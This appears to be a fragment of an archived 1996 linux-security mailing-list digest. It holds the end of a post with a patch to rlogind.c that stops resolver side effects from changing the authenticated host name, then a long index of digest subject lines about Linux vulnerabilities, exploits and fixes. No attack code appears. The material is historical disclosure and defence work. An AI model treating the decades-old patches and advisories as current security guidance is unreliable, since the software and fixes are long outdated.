value is intended to authenticate the remote host. do_rlogin() calls getpwnam() before using hp->h_name for authentication. If getpwnam() uses the resolver, there may be undesirable side effects that change the remote host name. In our environment, we have observed these side effects. Against char rcsid[] = "$Id: rlogind.c,v 1.13 1996/07/26 05:08:18 dholland Exp $"; we use the following patch: *** rlogind.c.dist Fri Aug 16 15:28:31 1996 --- rlogind.c Sat Sep 21 01:24:54 1996 *************** *** 272,279 **** } } #endif ! if (do_rlogin(hp->h_name) == 0 && hostok) ! authenticated++; } if (confirmed == 0) { write(f, "", 1); --- 272,281 ---- } } #endif ! strncpy(remotehost, hp->h_name, sizeof(remotehost)-1); ! remotehost[sizeof(remotehost) - 1] = 0; ! if (do_rlogin(remotehost) == 0 && hostok) ! authenticated++; } if (confirmed == 0) { write(f, "", 1); *************** *** 301,307 **** pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", hp->h_name, "-f", lusername, 0); /* should not return... */ } else { --- 303,309 ---- pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", remotehost, "-f", lusername, 0); /* should not return... */ } else { *************** *** 313,319 **** pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", hp->h_name, lusername, 0); /* should not return... */ } fatal(STDERR_FILENO, _PATH_LOGIN, 1); --- 315,321 ---- pam_end(pamh, PAM_SUCCESS); #endif execl(_PATH_LOGIN, "login", "-p", ! "-h", remotehost, lusername, 0); /* should not return... */ } fatal(STDERR_FILENO, _PATH_LOGIN, 1); -Scott Doty linux-security-digest/ 42775 1767 1767 0 6236216111 14305 5ustar majdommajdomlinux-security-digest/CONTENTS100664 1767 1767 116604 6246256246 15646 0ustar majdommajdom v02.n010: linux-security-digest V2 #10 [linux-security] slp-charter [Forwarded e-mail from Dave G.] slp-charter [linux-security] NCSA httpd cgi-bin application vulnerability. Re: [linux-security] Java security bug (applets can load native methods) (fwd) [linux-security] Security hole in xlock Re: [linux-security] Security hole in xlock v02.n011: linux-security-digest V2 #11 [linux-security] Sysklogd spam [linux-security] Big hole in sys_modify_ldt [linux-security] Summary re: syslogd spam [linux-security] Patch for 1.2.13 modify_ldt hole [linux-security] Problem with sliplogin on Linux [linux-security] Security bug in login (RedHat 2.1 .30.3) v02.n012: linux-security-digest V2 #12 Re: [linux-security] Summary re: syslogd spam [linux-security] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [linux-security] sliplogin hole explanation Re: [linux-security] sliplogin hole explanation [linux-security] environment in general Re: [linux-security] sliplogin hole explanation v02.n013: linux-security-digest V2 #13 [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] sliplogin hole explanation Re: [linux-security] Summary re: syslogd spam Re: [linux-security] Summary re: syslogd spam [linux-security] Technical problems...please do not adjust your T.V. [linux-security] Re: Vulnerabilities in mgetty+sendfax (root access by fax) v02.n001: linux-security-digest V2 #1 Re: Password checking - JFH the way forward ? Re: Password checking - JFH the way forward ? PAM overview Shadow development mailing list CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability PAM implementation effort.... v02.n002: linux-security-digest V2 #2 LSF Update#10: Another correction. fvwm fix v02.n003: linux-security-digest V2 #3 Re: restorefont security hole Linux: dip security hole v02.n004: linux-security-digest V2 #4 dump RedHat security hole Re: Linux: dip security hole Red Hat mh inc/msgchk security hole SUID binaries Re: SUID binaries Proposal: s[gu]id standards. Re: Proposal: s[gu]id standards. XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems Re: Proposal: s[gu]id standards. Shadow /bin/login security hole v02.n005: linux-security-digest V2 #5 Re: Shadow /bin/login security hole Re: Satan II (fwd) Satan II bind() Security Problems Aiiiieeee!! Re: BoS: Re: XFree86 3.1.2 Security Problems LSF Update#11: Vulnerability of rxvt Problem with minicom 1.71 Re: XFree86 3.1.2 Security Problems v02.n006: linux-security-digest V2 #6 Re: Shadow /bin/login security hole Re: XFree86 3.1.2 Security Problems Re: XFree86 3.1.2 Security Problems (fwd) Re: XFree86 3.1.2 Security Problems Re: bind() Security Problems Re: bind() Security Problems Re: dump RedHat security hole abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole [linux-security] [Fwd: HTTPd 1.5a Security Hole!!! (fwd)] HTTPd 1.5a Security Hole!!! v02.n007: linux-security-digest V2 #7 [linux-security] Regarding the forwarded Bugtraq post on NCSA httpd. [linux-security] RedHat 2.1 RPMs for fixed sliplogin SECURITY FIX: New NetKit-B and sliplogin RPMs available [linux-security] Kernels 1.3.6[12] break IP firewalling [linux-security] Re: Kernels 1.3.6[12] break IP firewalling Re: [linux-security] Re: Kernels 1.3.6[12] break IP firewalling v02.n008: linux-security-digest V2 #8 [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity Re: [linux-security] SlackWare 3.0 insecurity [linux-security] Secure Linux Project [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project Re: [linux-security] ANNOUNCEMENT: Secure Linux Project v02.n009: linux-security-digest V2 #9 [linux-security] updatedb + locate Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [Forwarded e-mail from Marc Ewing] Re: [linux-security] ANNOUNCEMENT: Secure Linux Project [linux-security] BoS: announcing ypghost (fwd) BoS: announcing ypghost Re: [linux-security] BoS: announcing ypghost (fwd) Re: [linux-security] BoS: announcing ypghost (fwd) [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) Announcement: ONC RPC / NIS security with SSH Re: [linux-security] Announcement: ONC RPC / NIS security with SSH (fwd) [linux-security] more Java/Netscape holes (fwd) Java/JavaScript security breaches [linux-security] Java security bug (applets can load native methods) (fwd) Java security bug (applets can load native methods) Java security bug (applets can load native methods) v02.n014: linux-security-digest V2 #14 [linux-security] two comments.. Re: [linux-security] two comments.. Re: [linux-security] sliplogin hole explanation [linux-security] Re: BoS: Re: Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] two comments.. Re: BoS: Re: [linux-security] two comments.. [linux-security] good character, bad character Re: [linux-security] good character, bad character Re: [linux-security] sliplogin hole explanation v02.n015: linux-security-digest V2 #15 Re: [linux-security] sliplogin hole explanation Re: [linux-security] good character, bad character [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... v02.n016: linux-security-digest V2 #16 Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... Re: [linux-security] Security problems in RedHat 3.0.3... [linux-security] Trojan manpages summary and suggestions [linux-security] LSF: Cryptographic Filesystem under Linux v02.n017: linux-security-digest V2 #17 Re: [linux-security] Security problems in RedHat 3.0.3... [linux-security] samba security hole... [linux-security] TCP Security Bug *READ ASAP* [linux-security] Re: Alinux-securityA samba security hole... [linux-security] WARNING: libc/ruserok security hole [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] WARNING: libc/ruserok security hole (fwd) [linux-security] BoS: test-cgi problem (fwd) v02.n018: linux-security-digest V2 #18 Re: [linux-security] WARNING: libc/ruserok security hole [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb v02.n019: linux-security-digest V2 #19 [linux-security] Denial of service in inetd [linux-security] NFS security bug [linux-security] Yet Another Java Hole. Another way to run native code from Java applets [linux-security] Reminder: Please include revisions when you report problems Re: [linux-security] Denial of service in inetd Re: [linux-security] locate & updatedb [linux-security] sh-utils-1.12+security Re: [linux-security] Denial of service in inetd [linux-security] [linux-alert] Yet Another Java Hole. Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] locate & updatedb Re: [linux-security] LSF: Cryptographic Filesystem under Linux v02.n020: linux-security-digest V2 #20 Re: [linux-security] Denial of service in inetd Re: [linux-security] Denial of service in inetd Re: [linux-security] Denial of service in inetd [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] Denial of service in inetd Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Administrative note regarding subscriptions. [linux-security] Corrected post: Exploit for problem with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 [linux-security] Accelerated X , machine crash possible monitor damage attack [linux-security] uhh.. security? [linux-security] libc bug exploited through ircII Re: [linux-security] libc bug exploited through ircII [linux-security] Inetd problem -followup v02.n021: linux-security-digest V2 #21 Re: [linux-security] Denial of service in inetd Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? [linux-security] Patch for ytalk-3.2 [linux-security] atoi et al Re: [linux-security] Bounds checking problem, apparently with libc >5.0.0 <5.3.9 Re: [linux-security] uhh.. security? Re: [linux-security] libc bug exploited through ircII Re: [linux-security] uhh.. security? Re: [linux-security] uhh.. security? v02.n022: linux-security-digest V2 #22 [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR [linux-security] running a shadowed system with NYS ? Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR Re: [linux-security] SO_REUSEADDR [linux-security] Things NOT to put in root's crontab Re: [linux-security] Things NOT to put in root's crontab v02.n023: linux-security-digest V2 #23 [linux-security] Serious Security hole in getpwnam () Serious Security hole in getpwnam () More find -exec rm dangers was: Re: BoS: Re: [linux-security] Things NOT to put in root's crontab [linux-security] ext2fs file attributes -- denial-of-service attack Re: More find -exec rm dangers was: Re: BoS: Re: [linux-security] Re: [linux-security] ext2fs file attributes -- denial-of-service attack [linux-security] S/Key and Shadow Passwords Re: [linux-security] S/Key and Shadow Passwords v02.n024: linux-security-digest V2 #24 [linux-security] Re: linux-security-digest V2 #23 [linux-security] standard users,groups,perms? [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? v02.n025: linux-security-digest V2 #25 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? v02.n026: linux-security-digest V2 #26 Re: [linux-security] SSL [linux-security] ANNOUNCE: Shadow + Red Hat (and more) RPMS and source now available!! Re: [linux-security] standard users,groups,perms? [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] SSL Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? v02.n027: linux-security-digest V2 #27 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? v02.n028: linux-security-digest V2 #28 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? [linux-security] suspicious users [linux-security] Big security hole in kerneld's request_route [linux-security] Re: Big security hole in kerneld's request_route v02.n029: linux-security-digest V2 #29 RE: [linux-security] suspicious users [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? [linux-security] wu.ftp, ftpaccess, and /bin/false shell [linux-security] Talk security? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). [linux-security] Thread regarding ~root. Re: [linux-security] Big security hole in kerneld's request_route Re: [linux-security] standard users,groups,perms? Re: [linux-security] suspicious users v02.n030: linux-security-digest V2 #30 Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] Re: Big security hole in kerneld's request_route Re: [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] Talk security? Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] standard users,groups,perms? [linux-security] Disabeling symlinks? No! don't write to /tmp! [linux-security] Symlinks as holes (Was: Big security hole in kerneld's request_route) [linux-security] /bin/false Re: [linux-security] Big security hole in kerneld's request_route v02.n031: linux-security-digest V2 #31 Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] Talk security? [linux-security] Re: Mprog Thread Re: [linux-security] Big security hole in kerneld's request_route [linux-security] sudo limiting Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] sudo limiting Re: [linux-security] standard users,grou Re: [linux-security] Talk security? Re: [linux-security] suspicious users v02.n032: linux-security-digest V2 #32 Re: [linux-security] sudo limiting Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] sudo limiting [linux-security] publically writable directories Re: [linux-security] S/Key and Shadow Passwords [linux-security] A secure (?) nfs-server ? Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] Talk security? Re: [linux-security] sudo limiting Re: [linux-security] standard users,groups,perms? Re: [linux-security] suspicious users Re: [linux-security] standard users,grou v02.n033: linux-security-digest V2 #33 Re: [linux-security] suspicious users Re: [linux-security] sudo limiting Re: [linux-security] standard users,grou Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl v02.n034: linux-security-digest V2 #34 Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] Re: A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? v02.n035: linux-security-digest V2 #35 Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] Re: A secure (?) nfs-server ? Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] suspicious users [linux-security] sudo passwd wrapper [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 v02.n036: linux-security-digest V2 #36 Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper Re: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper [linux-security] wordperfect for linux [linux-security] joy [linux-security] CERT Advisory CA-96.13.dip_vul (dip vulnerability). Re: [linux-security] joy [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy v02.n037: linux-security-digest V2 #37 Re: [linux-security] joy Re: [linux-security] dip Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] Re: You wouldn't believe it... Re: [linux-security] dip Re: [linux-security] dip Re: [linux-security] joy Re: [linux-security] dip [linux-security] SUDO problems v02.n038: linux-security-digest V2 #38 Re: [linux-security] dip Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems [linux-security] security idea Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems Re: [linux-security] SUDO problems Re: [linux-security] security idea [linux-security] sliplogin Re: [linux-security] security idea [linux-security] Re: identd hole? Re: [linux-security] security idea [linux-security] Re: identd hole? Re: [linux-security] sliplogin [linux-security] Re: identd hole? Fwd: [linux-security] security idea v02.n039: linux-security-digest V2 #39 Re: [linux-security] security idea [linux-security] sendmail security issues Re: [linux-security] sliplogin [linux-security] Passing the baton [linux-security] about in.identd Re: [linux-security] about in.identd Re: [linux-security] Re: identd hole? Re: [linux-security] about in.identd Re: [linux-security] about in.identd Re: Fwd: [linux-security] security idea Re: [linux-security] about in.identd [linux-security] writing setuid programs safely [linux-security] Re: writing setuid programs safely [none] [linux-security] BOUNCE [email protected]: Approval required Re: [linux-security] sendmail security issues [none] [linux-security] BOUNCE [email protected]: Approval required Re: [linux-security] about in.identd v02.n040: linux-security-digest V2 #40 Re: [linux-security] about in.identd Re: [linux-security] about in.identd [linux-security] about in.identd Re: [linux-security] about in.identd [linux-security] kmem Re: [linux-security] sendmail security issues [linux-security] Alternative to NIS Re: [linux-security] sendmail security i Re: [linux-security] Alternative to NIS Re: Fwd: [linux-security] security idea Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security issues Re: [linux-security] sendmail security Re: [linux-security] Alternative to NIS [linux-security] Security hole in Abuse game (in RedHat 2.1) v02.n041: linux-security-digest V2 #41 [linux-security] CERT says. Re: [linux-security] Alternative to NIS Re: [linux-security] CERT says. [linux-security] Radius Re: [linux-security] Alternative to NIS Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] Alternative to NIS Re: [linux-security] Alternative to NIS Re: [linux-security] Radius [linux-security] Linux NetKit-B update. [linux-security] Test SQUAD recruitment call. Re: Fwd: [linux-security] security idea v02.n042: linux-security-digest V2 #42 Re: Fwd: [linux-security] security idea Re: [linux-security] Linux NetKit-B update. Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: Fwd: [linux-security] security idea Re: [linux-security] sendmail security [linux-security] NetKit-B-0.07A [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Re: [linux-security] sendmail security Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security Re: [linux-security] sendmail security Re: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Re: [linux-security] sendmail security v02.n043: linux-security-digest V2 #43 [linux-security] FTPd vulnerability and fix. Re: [linux-security] sendmail security Re: [linux-security] FTPd vulnerability and fix. [linux-security] Linux-kernel bugs in 2.0.x Re: [linux-security] FTPd vulnerability and fix. [linux-security] Re: SUDO problems [linux-security] Test squad results on group rights denial [linux-security] LSF Update#11: Vulnerability of rlogin v02.n044: linux-security-digest V2 #44 [linux-security] Re: SUDO problems [linux-security] xdm sessions still work with bad shell. v02.n045: linux-security-digest V2 #45 [linux-security] A (possibly) crazy idea... Re: [linux-security] A (possibly) crazy idea... Re: [linux-security] sendmail security [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security [linux-security] Suggestion for Linux default fw policy [linux-security] Suggestion for Linux default fw policy (fwd) Re: [linux-security] TCP Wrappers Syslogging Re: [linux-security] sendmail security Re: [linux-security] sendmail security Re: [linux-security] Suggestion for Linux default fw policy [linux-security] Vulnerability in ALL linux distributions v02.n046: linux-security-digest V2 #46 [linux-security] Re: Vulnrability in all known Linux distributions [linux-security] mount/umount realpath() buffer overflow [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] sendmail security Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? v02.n047: linux-security-digest V2 #47 [linux-security] Archive/Listing [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] Archive/Listing Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] des_setparity security problem Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] Problems running crack on linux. Re: [linux-security] Archive/Listing Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] inetd and denial-of-service Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) v02.n048: linux-security-digest V2 #48 Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? [linux-security] [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-security] [linux-alert] SECURITY FIX/UPDATE: anonftp Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] Dicts .... [linux-security] smbmount (and ncpmount?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) v02.n049: linux-security-digest V2 #49 [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: Vulnerability list/info Re: [linux-security] Problems running crack on linux. [linux-security] Re: Anon ftp pkg? Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: rwhod buffer overflow Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) v02.n050: linux-security-digest V2 #50 [linux-security] rwhod buffer overflow [linux-security] Saving Passwords in Binaries [linux-security] Locking consoles. Re: [linux-security] Secure Filesystem [linux-security] BoS: Mycroftish description of bash hole. (fwd) BoS: Mycroftish description of bash hole. v02.n051: linux-security-digest V2 #51 Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service v02.n052: linux-security-digest V2 #52 Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow [linux-security] Radiusd DOS Attacks Possible [linux-security] Minor technical difficulties. Re: [linux-security] inetd and denial-of-service [linux-security] RESOLV_HOST_CONF Re: [linux-security] TCP Wrappers Syslogging [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] RESOLV_HOST_CONF Re: [linux-security] RESOLV_HOST_CONF (fwd) [linux-security] vulnerability in splitvt v02.n053: linux-security-digest V2 #53 Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole Re: [linux-security] bash security hole Re: [linux-security] syn floods Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] syn floods Re: [linux-security] syn floods v02.n054: linux-security-digest V2 #54 [linux-security] pop3d minimal security bug Re: [linux-security] inetd and denial-of-service [linux-security] sendmail w/o suid root? [linux-security] SYN flooding (was inetd and denial-of-service) Re: [linux-security] vulnerability in splitvt Re: [linux-security] RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Kevin Littlejohn: Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] vulnerability in splitvt Re: [linux-security] vulnerability in splitvt [linux-security] RE: Little exploit in syslogd... v02.n055: linux-security-digest V2 #55 Re: [linux-security] bash security hole Re: [linux-security] Saving Passwords in Binaries [linux-security] About suid etc. programs... [linux-security] Suid Programs / Help Wanted Re: [linux-security] inetd and denial-of-service [linux-security] LYNX-DEV security problem with environment for lynx -restrictions=all (fwd) LYNX-DEV security problem with environment for lynx -restrictions=all Re: [linux-security] RESOLV_HOST_CONF [linux-security] sh != bash (was "bash security hole") Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Re: [linux-security] RESOLV_HOST_CONF v02.n056: linux-security-digest V2 #56 [linux-security] CERT#1157 Re: vulnerability in splitvt [linux-security] chroot (1) security hole Re: [linux-security] inetd and denial-of-service [linux-security] nonroot sendmail [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Suid Programs / Help Wanted [linux-security] Re: Vulnerability in the Xt library (fwd) [linux-security] Re: LYNX-DEV security problem with environment for lynx Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) v02.n057: linux-security-digest V2 #57 Re: [linux-security] inetd and denial-of-service [linux-security] ytalk [linux-security] possible security bug if uid of nobody is 65535 or -1 Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx Re: [linux-security] SYN flooding (was inetd and denial-of-service) Re: [linux-security] Suid Programs / Help Wanted [linux-security] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 v02.n058: linux-security-digest V2 #58 Re: [linux-security] SYN flooding (was inetd and Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] SYN flooding (was inetd and Re: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) Re: [linux-security] chroot (1) security hole Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx [linux-security] pty's and utmp - a disaster perpetrated long ago Re: [linux-security] pty's and utmp - a disaster perpetrated long ago Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole [linux-security] Is there a final word on the current RESOLV_HOST_CONF hole? v02.n059: linux-security-digest V2 #59 [linux-security] SecurID White Paper Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] GSSAPI for Linux [linux-security] Admin note. [linux-security] samba 1.9.16p2-2 (RedHat): Damn /tmp security holes again... Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] password for over 8 charactes v02.n060: linux-security-digest V2 #60 [linux-security] Fix available for elm 2.4 filter security hole Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes [linux-security] Pine security problem [linux-security] From bugtraq: sendmail-8.7.5 [linux-security] Re: sendmail-8.7.5 Re: [linux-security] Re: sendmail-8.7.5 Re: [linux-security] GSSAPI for Linux Re: [linux-security] pty's and utmp - a disaster perpetrated long ago [linux-security] Re: password for over 8 charactes Re: [linux-security] Fix available for elm 2.4 filter security hole v02.n061: linux-security-digest V2 #61 [linux-security] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-security] [BUG] Vulnerability in PKGTOOL [linux-security] [BUG] Vulnerability in PINE v02.n062: linux-security-digest V2 #62 [linux-security] pgpsendmail [linux-security] Finger Doubt [linux-security] mount [linux-security] ADMIN: LSF Updates, new WWW and NEW ftp sites Re: [linux-security] Finger Doubt Re: [linux-security] mount [linux-security] CERT Advisory CA-96.20 - Sendmail Vulnerabilities v02.n063: linux-security-digest V2 #63 [linux-security] Cfinger [linux-security] Re: GSSAPI for Linux (follow up..) Re: [linux-security] Finger Doubt [linux-security] Cfinger (Yet more :) Re: [linux-security] Re: GSSAPI for Linux (follow up..) [linux-security] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks v02.n064: linux-security-digest V2 #64 Re: [linux-security] Finger Doubt Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Cfinger (Yet more :) [linux-security] Syn flood/IP spoofing tests Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Finger Doubt [linux-security] CERT Summary CS-96.05 v02.n065: linux-security-digest V2 #65 Re: [linux-security] Re: GSSAPI for Linux (follow up..) Re: [linux-security] Finger Doubt [linux-security] SYN flooding program Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Finger Doubt Re: 